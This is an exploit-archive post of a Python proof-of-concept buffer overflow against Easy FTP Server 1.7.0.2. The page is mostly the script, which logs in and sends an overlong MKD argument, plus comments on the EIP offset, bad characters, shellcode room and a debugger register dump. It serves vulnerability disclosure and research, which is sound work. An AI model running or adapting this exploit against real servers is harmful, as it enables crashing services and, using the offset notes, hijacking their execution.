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Easy FTP Server 1.7.0.2 Post Authentication Proof Of Concept

Easy FTP Server 1.7.0.2 Post Authentication Proof Of Concept
Posted Feb 16, 2010
Authored by loneferret

Easy FTP Server version 1.7.0.2 post authentication buffer overflow exploit.

tags | exploit, overflow
MD5 | da5e9df47fd6d7c3d8a4d29edbcbd1c2

Easy FTP Server 1.7.0.2 Post Authentication Proof Of Concept

Change Mirror Download
#!/usr/bin/python

# Title: Easy~Ftp Server v1.7.0.2 Post-Authentication BoF (PoC)
# From: The eh?-Team || The Great White Fuzz (we're not sure yet)
# Found by: loneferret
# Hat's off to dookie2000ca
# Date Found: 13/02/2010
# Developer contacted: 14/02/2010
# Software link: http://cdnetworks-us-2.dl.sourceforge.net/project/easyftpsvr/easyftpsvr/1.7.0.2-en/easyftpsvr-1.7.0.2.zip
# Tested on: Windows XP SP2/SP3 Professional
# Nod to the Exploit-DB Team

# Vulnerable command: MKD
# EIP is overwritten at bytes 269-270-271-272
# badchars: \x0a \x2f \x5c
# call/jmp EBP is one metod of jumping to our shellcode
# We have 268 bytes of room (max), seeing the jump or call EBP will bring us
# right at the start of our offset. So 265 bytes of room just to be sure.

#EAX 0081FCB4
#ECX 41414141
#EDX 00000010
#EBX 00000001
#ESP 0081FC78 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@9_"
#EBP 005F5CA8 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA....
#ESI 005F4B70
#EDI 005F4B70
#EIP 41414141
#C 0 ES 0023 32bit 0(FFFFFFFF)
#P 1 CS 001B 32bit 0(FFFFFFFF)
#A 0 SS 0023 32bit 0(FFFFFFFF)
#Z 0 DS 0023 32bit 0(FFFFFFFF)
#S 0 FS 003B 32bit 7FFDC000(FFF)
#T 0 GS 0000 NULL
#D 0
#O 0 LastErr ERROR_SUCCESS (00000000)
#EFL 00010206 (NO,NB,NE,A,NS,PE,GE,G)
#ST0 empty %#.19L
#ST1 empty +UNORM 03E9 00000000 00000000
#ST2 empty 0.0
#ST3 empty 0.0
#ST4 empty -UNORM FAB4 00000000 00000002
#ST5 empty +UNORM 09B8 00000011 7C910732
#ST6 empty %#.19L
#ST7 empty -??? FFFF 7C910738 7C90EE18
# 3 2 1 0 E S P U O Z D I
#FST 0000 Cond 0 0 0 0 Err 0 0 0 0 0 0 0 0 (GT)
#FCW 027F Prec NEAR,53 Mask 1 1 1 1 1 1

import socket

buffer = "\x41" * 320


s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('xxx.xxx.xxx.xxx',21))
s.recv(1024)
s.send('USER test\r\n')
s.recv(1024)
s.send('PASS test\r\n')
s.recv(1024)
s.send('MKD ' + buffer + '\r\n')
s.recv(1024)
s.send('QUIT\r\n')
s.close

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